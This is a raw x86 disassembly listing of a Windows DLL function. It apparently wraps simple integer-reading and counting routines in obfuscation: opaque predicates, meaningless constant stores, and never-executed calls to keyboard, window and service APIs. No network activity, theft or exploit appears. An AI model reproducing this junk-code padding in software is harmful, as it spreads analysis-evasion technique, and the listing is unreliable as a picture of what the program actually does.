cmp dword [ebp - 0x18], ebx
jne 0x10041482
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x20], 1
mov eax, dword [ebp - 0x10]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x20]
cmp edx, 0xbefcdf11
jb 0x10041501
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x28], ebx
jmp 0x100414bf
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x8e0], 5
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x100414ae
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], ebx
jl 0x100414ef
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x100414ea
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
dec dword [ebp - 0x18]
jns 0x100414da
mov dword [ebp - 0x1c], 0xa3c9
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
jmp 0x100434a8
lea ecx, [ebp - 0x7b8]
xorps xmm0, xmm0
push ecx
lea eax, [ebp - 0x7a8]
push eax
push ecx
lea ecx, [ebp - 0x670]
movdqu xmmword [ebp - 0x7b8], xmm0
call fcn.10010657
mov dword [ebp - 4], 4
mov dword [ebp - 0x24], 0x90c4d8e5
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], ebx
jl 0x10041625
mov dword [ebp - 0x28], 0x2e31d832
mov dword [ebp - 0x1c], 0x1d04
cmp dword [ebp - 0x1c], 0x46b
jge 0x100415f8
call fcn.100402a7
push 0x113961dc
push 0x117f9e94
push 0x117676c4
push 0x1000b4e8
mov dword [0x11396174], ebx
call fcn.100578db
mov esi, dword [0x117676c4]
add esp, 0x10
cmp esi, dword [0x117f9e94]
jg 0x100415e6
mov ecx, esi
call section..zudca
mov ecx, dword [0x119e32a4]
mov edi, ebx
mov ebx, dword [0x119e32a0]
xor edx, edx
sub ecx, ebx
inc edx
sar ecx, 2
mov dword [0x117fa4d8], edx
test ecx, ecx
jle 0x100415c9
mov eax, dword [ebx + edi*4]
inc eax
imul edx, eax
inc edi
cmp edi, ecx
jl 0x100415b7
mov dword [0x117fa4d8], edx
cmp edx, dword [0x113961dc]
jne 0x100415d7
inc dword [0x11396174]
inc esi
push 0
pop ebx
cmp esi, dword [0x117f9e94]
jle 0x10041590
push 3
pop edi
push dword [0x11396174]
push 0x1000b1d4
call fcn.10057af6
pop ecx
pop ecx
mov dword [ebp - 0x28], ebx
jmp 0x10041617
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x670]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
cmp dword [ebp - 0x24], ebx
jne 0x1004161c
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jle 0x100415fd
dec dword [ebp - 0x24]
jns 0x10041540
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x670]
call fcn.10010c2b
push edi
lea ecx, [ebp - 0x360]
call fcn.100105fb
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x3cc]
mov dword [ebp - 0x24], 0x53b26bdd
push 2
call fcn.100105fb
mov dword [ebp - 0x2c], 0x2455f992
mov dword [ebp - 0x28], ebx
jmp 0x1004167a
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3cc]
mov dword [eax + ecx*4], 7
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x10041667
mov dword [ebp - 0x24], 6
cmp dword [ebp - 0x24], 9
jge 0x10041765
mov edi, dword [ebp - 0x3cc]
mov dword [ebp - 0x28], 0xfff9
xor edx, edx
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x1c], 0xa9b03be4
mov dword [ebp - 0x30], 0xed1456b8
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, 3
mov edx, dword [edi + 4]
setg al
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, edx
mov eax, dword [ebp - 0x3cc]
setle cl
xor ebx, ebx
cmp ecx, dword [eax]
setge bl
sub ebx, edx
neg ebx
sbb ebx, ebx
inc ebx
cmp ebx, dword [ebp - 0x28]
jne 0x10041715
xor ebx, ebx
cmp dword [ebp - 0x1c], ebx
je 0x10041717
xor eax, eax
inc eax
jmp 0x10041719
xor ebx, ebx
mov eax, ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov esi, dword [ebp - 0x30]
sub esi, dword [edi + 4]
mov ecx, dword [ebp - 0x30]
neg esi
mov eax, dword [ebp - 0x38]
sbb esi, esi
xor edx, edx
inc esi
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp eax, esi
setle cl
sub ecx, edx
add ecx, 0x9ae8
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 9
jl 0x10041697
push 3
pop edi
lea ecx, [ebp - 0x3cc]
call fcn.10010c2b
mov dword [ebp - 0x4c], 0x8fbfc75d
mov dword [ebp - 0x28], ebx
jmp 0x1004178f
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x360]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x1004177c
push 1
lea ecx, [ebp - 0x598]
call fcn.100105fb
mov dword [ebp - 0x1c], 0xfffffffe
xor edx, edx
mov dword [ebp - 0x40], 0x34cb4417
inc edx
mov dword [ebp - 0x28], ebx
jmp 0x100417ca
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x598]
mov dword [eax + ecx*4], 0x642c70bb
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x100417b7
mov eax, dword [ebp - 0x598]
xor ecx, ecx
mov edx, dword [eax]
cmp edx, 0x1de6
mov eax, edx
setne cl
sub eax, ecx
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, 0x2806
jl 0x100417fd
test edx, edx
jne 0x100417fd
mov eax, ebx
jmp 0x10041800
xor eax, eax
inc eax
imul edx, eax
mov eax, dword [ebp - 0x1c]
shl edx, 3
sub edx, 0x849968cb
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x40], ecx
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x1004182e
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
lea ecx, [ebp - 0x598]
call fcn.10010c2b
mov dword [ebp - 0x30], 2
cmp dword [ebp - 0x30], ebx
jl 0x100421e7
mov dword [ebp - 0x1c], 0x1e58
cmp dword [ebp - 0x1c], 0x82a
jge 0x100418f3
lea eax, [ebp - 0x124]
push eax
push 0x1000b4e4
call fcn.100578db
pop ecx
pop ecx
push dword [ebp - 0x124]
lea ecx, [ebp - 0x5b0]
call fcn.10036a38
mov eax, dword [ebp - 0x124]
mov edi, dword [ebp - 0x5b0]
test eax, eax
jle 0x100418ae
mov esi, edi
push esi
push 0x1000b4e4
call fcn.100578db
mov eax, dword [ebp - 0x124]
inc ebx
pop ecx
add esi, 4
pop ecx
cmp ebx, eax
jl 0x10041893
mov edx, dword [ebp - 0x5ac]
lea ecx, [eax - 1]
mov ebx, dword [edi]
xor esi, esi
cmp ebx, dword [edx - 4]
jne 0x100418cc
mov edx, dword [edx - 4]
inc esi
cmp dword [edi + esi*4], edx
je 0x100418c3
jmp 0x100418cc
dec ecx
cmp dword [edi + ecx*4], ebx
je 0x100418cb
sub eax, esi
dec eax
cmp eax, ecx
cmovg ecx, eax
push ecx
push 0x1000b238
call fcn.10057af6
pop ecx
pop ecx
lea ecx, [ebp - 0x5b0]
call fcn.10010c2b
xor ebx, ebx
mov dword [ebp - 0x2c], 0x99841b3c
mov dword [ebp - 0x38], 0x9611ca4b
mov dword [ebp - 0x44], 0xbe99b96b
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x44], 0x2e0c
mov dword [ebp - 0x44], 0xade45a91
mov dword [ebp - 0x44], 0xfffffff8
mov dword [ebp - 0x1c], 0x1a1a
cmp dword [ebp - 0x1c], 0xefe
jge 0x10041a10
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x178]
push eax
push 0x1000b218
call fcn.100578db
xor eax, eax
mov dword [ebp - 0x38], ebx
add esp, 0xc
mov dword [ebp - 0x28], ebx
mov edi, eax
mov dword [ebp - 0x40], ebx
mov esi, eax
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x178], eax
jle 0x100419b1
mov edi, ebx
lea eax, [ebp - 0x284]
push eax
push 0x1000b4e4
call fcn.100578db
mov eax, dword [ebp - 0x284]
pop ecx
pop ecx
and eax, 0x80000001
jns 0x10041994
dec eax
or eax, 0xfffffffe
inc eax
je 0x10041999
inc edi
jmp 0x1004199a
inc ebx
inc esi
cmp esi, dword [ebp - 0x178]
jl 0x1004196f
mov dword [ebp - 0x28], edi
xor eax, eax
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 0x38], ebx
mov ebx, dword [ebp - 0x40]
cmp dword [ebp - 0x140], 0
mov esi, eax
jle 0x100419f0
lea eax, [ebp - 0x2f8]
push eax
push 0x1000b4e4
call fcn.100578db
mov eax, dword [ebp - 0x2f8]
pop ecx
pop ecx
and eax, 0x80000001
jns 0x100419e1
dec eax
or eax, 0xfffffffe
inc eax
je 0x100419e6
inc edi
jmp 0x100419e7
inc ebx
inc esi
cmp esi, dword [ebp - 0x140]
jl 0x100419bc
cmp dword [ebp - 0x38], edi
cmovl edi, dword [ebp - 0x38]
cmp dword [ebp - 0x28], ebx
cmovl ebx, dword [ebp - 0x28]
lea eax, [ebx + edi]
push eax
push 0x1000b238
call fcn.10057af6
pop ecx
pop ecx
xor ebx, ebx
xor ecx, ecx
mov dword [ebp - 0x28], ebx
inc ecx
jmp 0x10041a29
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x6a4], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x10041a18
push 0xfffffffffffffff7
pop esi
push 3
mov dword [ebp - 0x2c], esi
pop edi
cmp dword [ebp - 0x2c], 0xffffffe8
jl 0x10041b14
mov dword [ebp - 0x18], 0xaa29c146
mov dword [ebp - 0x28], ebx
jmp 0x10041a5e
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x7f0], 0xcd538770
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x10041a4d
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setg bl
add eax, 0x4b7c8e78
xor ecx, ecx
cmp eax, ebx
setg cl
xor ebx, ebx
cmp ecx, dword [ebp - 0x18]
jge 0x10041b00
cmp dword [ebp - 0x18], ebx
je 0x10041b00
mov dword [ebp - 0x28], 0x65c829e
cmp dword [ebp - 0x28], ebx
jne 0x10041ab9
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x18], ebx
jne 0x10041ab4
cmp dword [ebp - 0x2c], ebx
je 0x10041ab9
xor ecx, ecx
inc ecx
jmp 0x10041abb
mov ecx, ebx
xor eax, eax
cmp ecx, 0x5cab
setl al
xor ecx, ecx
cmp eax, 6
mov eax, dword [ebp - 0x2c]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x7ec], eax
jmp 0x10041b0c
mov dword [ebp - 0x1c], 0xfffa
inc dword [ebp - 0x1c]
jne 0x10041b14
dec dword [ebp - 0x2c]
jmp 0x10041a37
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 2
jg 0x100421de
lea eax, [ebp - 0x614]
lea ecx, [ebp - 0x604]
movdqa xmm0, xmmword [0x1000b930]
push ecx
push ecx
mov dword [ebp - 0x24], esi
lea ecx, [ebp - 0x348]
mov dword [ebp - 0x38], 0xffffffff
push eax
movdqu xmmword [ebp - 0x614], xmm0
call fcn.10010657
mov byte [ebp - 4], 6
xor edx, edx
mov dword [ebp - 0x28], 0x78c007c7
mov dword [ebp - 0x50], 0x2cb818eb
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x348]
mov dword [eax], ecx
add ecx, 0xff8e
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setl dl
xor ebx, ebx
add edx, 7
cmp edx, 0x7814
setl bl
xor ecx, ecx
cmp ebx, eax
setne cl
add ecx, 0xf5ef
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
test eax, eax
setle cl
xor ebx, ebx
cmp ecx, dword [ebp - 0x24]
jl 0x10041de0
mov dword [ebp - 0x40], ebx
lea ecx, [ebp - 0x604]
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x70], 0xcb8f1fe3
push 1
call fcn.100105fb
mov byte [ebp - 4], 7
xor edx, edx
mov dword [ebp - 0x104], 0xb8af769b
inc edx
mov dword [ebp - 0x2c], ebx
jmp 0x10041c0b
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x604]
mov dword [eax + ecx*4], 0xfffffffc
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jl 0x10041bf8
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x10041d52
mov dword [ebp - 0x1c], 0x1598
cmp dword [ebp - 0x1c], 0xfc8
jge 0x10041d4b
lea eax, [ebp - 0xd8]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x274]
push eax
push 0x1000b530
call fcn.100578db
add esp, 0x10
mov byte [ebp - 0x79], bl
lea eax, [ebp - 0x79]
lea ecx, [ebp - 0x6e4]
push eax
mov eax, dword [ebp - 0x274]
inc eax
push eax
call fcn.100106a8
jmp 0x10041cac
dec eax
mov dword [ebp - 0xc8], eax
lea eax, [ebp - 0x318]
push eax
push 0x1000b4e4
call fcn.100578db
pop ecx
pop ecx
push 1
push ecx
push dword [ebp - 0x318]
lea eax, [ebp - 0x8d4]
push eax
lea ecx, [ebp - 0x6e4]
call fcn.10010706
pop ecx
mov ecx, eax
call fcn.10010725
mov eax, dword [ebp - 0xc8]
test eax, eax
jne 0x10041c6f
dec eax
xor edi, edi
mov dword [ebp - 0xc8], eax
inc edi
jmp 0x10041d22
dec eax
lea ecx, [ebp - 0x6e4]
mov dword [ebp - 0xd8], eax
lea eax, [ebp - 0x89c]
push edi
push eax
call fcn.10010706
xor edx, edx
inc edx
mov esi, dword [eax]
mov ecx, dword [eax + 4]
shl edx, cl
test dword [esi], edx
jne 0x10041d33
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x1c0]
push eax
push 0x1000b218
call fcn.100578db
add esp, 0xc
cmp edi, dword [ebp - 0x1c0]
jne 0x10041d15
mov edi, dword [ebp - 0x180]
jmp 0x10041d22
cmp edi, dword [ebp - 0x180]
cmove edi, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0xd8]
test eax, eax
jne 0x10041cc2
dec eax
mov dword [ebp - 0xd8], eax
push edi
push 0x1000b238
call fcn.10057af6
pop ecx
pop ecx
lea ecx, [ebp - 0x6e4]
call fcn.100106e6
push ebx
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x348]
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x50]
setle dl
inc dword [ebp - 0x50]
cmp eax, edx
je 0x10041d74
xor esi, esi
inc esi
jmp 0x10041d76
mov esi, ebx
mov eax, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x348]
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x34]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp esi, eax
setge cl
add ecx, dword [ebp - 0x40]
cmp ecx, 0x9c7d4e78
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x34]
jle 0x10041db8
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x104]
imul ecx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x604]
mov dword [eax], ecx
lea ecx, [ebp - 0x604]
call fcn.10010c2b
jmp 0x10041e12
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], ebx
jl 0x10041dff
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], bl
je 0x10041dfa
push 1
push 0x12
call dword [sym.imp.USER32.dll_FlashWindow]
dec dword [ebp - 0x24]
jns 0x10041de8
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], bl
je 0x10041e12
push 0x209d
call dword [sym.imp.USER32.dll_GetParent]
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 5
call fcn.10010c2b
mov byte [ebp - 0x11], bl
mov dword [ebp - 0x70], 0x1b1d
cmp dword [ebp - 0x70], 0x71e
jge 0x10041ede
lea eax, [ebp - 0x200]
mov ecx, 0x10665668
push eax
call fcn.10035e6d
xorps xmm0, xmm0
mov esi, ebx
movlpd qword [ebp - 0x48], xmm0
cmp dword [ebp - 0x1fc], ebx
jl 0x10041ec3
jg 0x10041e65
cmp dword [ebp - 0x200], ebx
jbe 0x10041ec3
mov edi, dword [ebp - 0x44]
mov ebx, dword [ebp - 0x48]
lea eax, [ebp - 0x410]
mov ecx, 0x10665668
push eax
call fcn.10035e6d
mov ecx, dword [ebp - 0x40c]
inc esi
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x410]
cdq
sub esi, 1
push edx
push eax
sbb ecx, 0
push ecx
push esi
call fcn.1005ddd0
mov esi, dword [ebp - 0x1c]
add eax, 1
adc edx, 0
add ebx, eax
mov eax, esi
adc edi, edx
cdq
cmp edx, dword [ebp - 0x1fc]
jl 0x10041e6b
jg 0x10041ec9
cmp eax, dword [ebp - 0x200]
jb 0x10041e6b
jmp 0x10041ec9
mov edi, dword [ebp - 0x44]
mov ebx, dword [ebp - 0x48]
push edi
push ebx
mov ecx, 0x106655b8
call fcn.100104e6
push eax
call fcn.10013e5a
pop ecx
xor ebx, ebx
xor ecx, ecx
mov dword [ebp - 0x28], ebx
inc ecx
jmp 0x10041ef7
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x9c], 0xfffffff6
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x10041ee6
mov dword [ebp - 0x9c], 0xffffffe7
jmp 0x1004207c
mov dword [ebp - 0x70], 0x17c7
cmp dword [ebp - 0x70], 0x52b
jge 0x10042066
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], ebx
push eax
push 0x1000b4e4
call fcn.100578db
xor eax, eax
mov dword [ebp - 0x40], ebx
mov edi, eax
mov dword [ebp - 0x1cc], ebx
mov dword [ebp - 0x1c8], edi
mov dword [ebp - 0x1c4], eax
mov byte [ebp - 4], 8
xor esi, esi
movd xmm0, dword [ebp - 0x94]
inc esi
cvtdq2pd xmm0, xmm0
mov dword [ebp - 0x114], esi
movsd qword [esp], xmm0
call fcn.10056f34
fstp qword [ebp - 0x48]
movsd xmm0, qword [ebp - 0x48]
comisd xmm0, xmmword [0x1000b8a0]
pop ecx
pop ecx
jb 0x10042021
mov ecx, dword [ebp - 0x94]
mov eax, ecx
cdq
idiv esi
test edx, edx
jne 0x10041fde
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x1cc]
call fcn.10036ac6
mov ecx, dword [ebp - 0x94]
mov eax, ecx
mov esi, dword [ebp - 0x114]
cdq
idiv esi
cmp eax, esi
jle 0x10041fde
mov dword [ebp - 0x324], eax
lea ecx, [ebp - 0x1cc]
lea eax, [ebp - 0x324]
push eax
call fcn.10036ac6
mov ecx, dword [ebp - 0x94]
movd xmm0, ecx
inc esi
cvtdq2pd xmm0, xmm0
push ecx
push ecx
mov dword [ebp - 0x114], esi
movsd qword [esp], xmm0
call fcn.10056f34
movd xmm1, esi
cvtdq2pd xmm1, xmm1
pop ecx
pop ecx
fstp qword [ebp - 0x48]
movsd xmm0, qword [ebp - 0x48]
comisd xmm0, xmm1
jae 0x10041f8a
mov edi, dword [ebp - 0x1c8]
mov ebx, dword [ebp - 0x1cc]
sub edi, ebx
xor esi, esi
sar edi, 2
test edi, edi
je 0x10042046
mov edx, dword [ebx + esi*4]
mov ecx, dword [ebp - 0x94]
call section..ylvs
test al, al
je 0x10042041
inc dword [ebp - 0x40]
inc esi
cmp esi, edi
jb 0x1004202c
push dword [ebp - 0x40]
push 0x1000b238
call fcn.10057af6
pop ecx
pop ecx
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 5
call fcn.10010c2b
xor ebx, ebx
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x10042076
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
inc dword [ebp - 0x9c]
cmp dword [ebp - 0x9c], 0x11
jle 0x10041f0b
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x100420a7
push 0x21cb
push 0x1dda
push 0x54a
call dword [sym.imp.USER32.dll_SetWindowLongW]
cmp byte [ebp - 0x11], 0
push 3
pop edi
je 0x100421c2
mov dword [ebp - 0x2c], ebx
jmp 0x100420ca
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1d8], 0x69fdf99f
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x100420b9
mov dword [ebp - 0x2c], ebx
jmp 0x100420e5
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x5f8], 0xffff
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x100420d4
mov dword [ebp - 0x1d0], ebx
jmp 0x10042199
push 2
lea ecx, [ebp - 0x46c]
call fcn.100105fb
push 2
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
pop edx
jmp 0x10042120
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x46c]
mov dword [eax + ecx*4], 0x485bf25c
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1004210d
mov esi, dword [ebp - 0x46c]
mov dword [esi + 4], edx
mov eax, dword [esi + 4]
sub eax, 0x25468c82
mov dword [ebp - 0x70], 0xe3f2f34e
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x1d4]
dec eax
jne 0x10042153
mov eax, dword [ebp - 0x5f0]
mov eax, dword [esi + 4]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x5f8]
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [esi + 4]
inc eax
imul eax, ecx
cmp edx, eax
mov eax, dword [ebp + ecx*4 - 0x5f8]
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setl cl
dec dword [esi + 4]
mov dword [ebp - 0x70], ecx
jns 0x1004212e
lea ecx, [ebp - 0x46c]
call fcn.10010c2b
dec dword [ebp - 0x1d0]
cmp dword [ebp - 0x1d0], 0xffffffef
jge 0x100420f5
push 0x12bd
push ebx
push 0x89f
push ebx
push 0x22d3
push 0xb8a
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
inc dword [ebp - 0x18]
lea eax, [ebp - 0x614]
cmp dword [ebp - 0x18], 2
lea ecx, [ebp - 0x604]
push 0xfffffffffffffff7
pop esi
jle 0x10041b30
dec dword [ebp - 0x30]
jns 0x10041849
mov dword [ebp - 0x34], 0x2e91a049
xor eax, eax
mov dword [ebp - 0x24], 9
inc eax
mov dword [ebp - 0x104], 0x643a64e7
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x34], 0xfffffffc
jmp 0x10042677
push eax
lea ecx, [ebp - 0x21c]
call fcn.100105fb
push 1
lea ecx, [ebp - 0x270]
mov byte [ebp - 4], 9
call fcn.100105fb
push 0xa
pop eax
mov byte [ebp - 4], al
xor edx, edx
mov dword [ebp - 0x28], 4
inc edx
mov dword [ebp - 0x44], 0xe10ef7d5
mov dword [ebp - 0x44], 0x215f8f50
mov dword [ebp - 0x2c], ebx
jmp 0x10042264
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x21c]
mov dword [eax + ecx*4], 0x24f84b81
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jl 0x10042251
mov dword [ebp - 0x2c], ebx
jmp 0x10042281
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x270]
mov dword [eax + ecx*4], 0xaa39ed08
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jl 0x1004226e
mov eax, dword [ebp - 0x270]
mov dword [eax], ebx
mov dword [ebp - 0x38], 0xb3f36565
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x54], 0xfffffff9
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x38], ebx
jl 0x10042646
mov dword [ebp - 0x30], 0xfc88eb98
mov dword [ebp - 0x54], 0xef544bd1
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100422de
push ebx
push ebx
push 0x1f00
push ebx
push ebx
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
xor edx, edx
inc edx
mov dword [ebp - 0x30], ebx
jmp 0x10042631
cmp dword [ebp - 0x34], ebx
jne 0x1004230b
mov eax, dword [ebp - 0x21c]
cmp dword [eax], ebx
je 0x100422fc
mov eax, edx
cmp dword [ebp - 0x30], ebx
jne 0x100422fe
mov eax, ebx
cmp eax, edx
mov edi, ebx
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x34]
jle 0x1004230d
mov edi, edx
mov esi, dword [ebp - 0x270]
xor ecx, ecx
mov edx, dword [ebp - 0x21c]
mov eax, dword [esi]
cmp edi, dword [edx + eax*4]
mov eax, dword [esi]
setge cl
mov dword [ebp - 0x24], ecx
mov ecx, 0xf5d870a3
cmp ecx, dword [edx + eax*4]
mov eax, dword [ebp - 0x30]
sbb edx, edx
imul eax, dword [ebp - 0x24]
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jl 0x1004262b
mov dword [ebp - 0x6c], 2
mov dword [ebp - 0x70], 0xffffffff
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1004236f
push ebx
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
mov dword [ebp - 0x70], 0x150c
cmp dword [ebp - 0x70], 0xf6c
jge 0x1004255a
lea eax, [ebp - 0x2e8]
push eax
lea eax, [ebp - 0x188]
push eax
push 0x1000b218
call fcn.100578db
add esp, 0xc
mov dword [ebp - 0x2fc], ebx
lea eax, [ebp - 0x2fc]
lea ecx, [ebp - 0x740]
push eax
push 0x72
call fcn.10036a74
mov byte [ebp - 4], 0xb
mov esi, ebx
cmp dword [ebp - 0x188], 0
mov ebx, dword [ebp - 0x740]
jle 0x100423f2
lea eax, [ebp - 0x304]
push eax
push 0x1000b4e4
call fcn.100578db
mov eax, dword [ebp - 0x304]
pop ecx
pop ecx
inc dword [ebx + eax*4]
inc esi
cmp esi, dword [ebp - 0x188]
jl 0x100423cd
or dword [ebp - 0x264], 0xffffffff
lea eax, [ebp - 0x264]
push eax
push 0x72
lea ecx, [ebp - 0x7fc]
call fcn.10036a74
xor ecx, ecx
mov byte [ebp - 4], 0xc
push eax
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x258], ecx
push ecx
lea ecx, [ebp - 0x260]
call fcn.1004e79d
lea ecx, [ebp - 0x7fc]
call fcn.10010c2b
mov edx, dword [ebp - 0x2e8]
mov edi, dword [ebp - 0x260]
imul eax, edx, 0xc
mov ecx, dword [eax + edi]
mov eax, dword [ebx + edx*4]
mov dword [ecx + edx*4], eax
xor ecx, ecx
